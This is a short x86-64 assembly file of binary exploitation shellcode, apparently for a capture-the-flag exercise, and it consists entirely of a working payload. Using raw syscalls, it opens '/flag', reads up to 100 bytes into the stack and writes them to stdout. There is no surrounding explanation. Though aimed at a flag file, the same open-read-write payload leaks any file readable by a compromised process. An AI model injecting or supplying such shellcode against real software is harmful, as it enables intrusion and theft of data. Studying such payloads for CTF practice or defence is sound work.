Assembly Binary Exploitation Shellcode

binary_exploitation_shellcode.asm

[BITS 64]

section .text
global _start

_start:
    ; Push '/flag\x00' onto the stack
    xor rax, rax
    mov rbx, 0x0067616c662f        ; '/flag\x00' in little-endian
    push rbx
    mov rdi, rsp                   ; Pointer to '/flag\x00'

    ; sys_open
    xor rax, rax
    mov al, 2                      ; sys_open
    xor rsi, rsi                   ; O_RDONLY
    syscall                        ; open('/flag', O_RDONLY)

    ; sys_read
    mov rdi, rax                   ; File descriptor
    mov rsi, rsp                   ; Buffer (reuse the stack)
    mov rdx, 100                   ; Number of bytes to read
    xor rax, rax                   ; sys_read
    syscall                        ; read(fd, buf, 100)

    ; sys_write
    mov rdx, rax                   ; Number of bytes read
    mov rdi, 1                     ; stdout file descriptor
    mov rax, 1                     ; sys_write
    syscall                        ; write(1, buf, nbytes)

    ; sys_exit
    mov rax, 60                    ; sys_exit
    xor rdi, rdi                   ; Exit status 0
    syscall                        ; exit(0)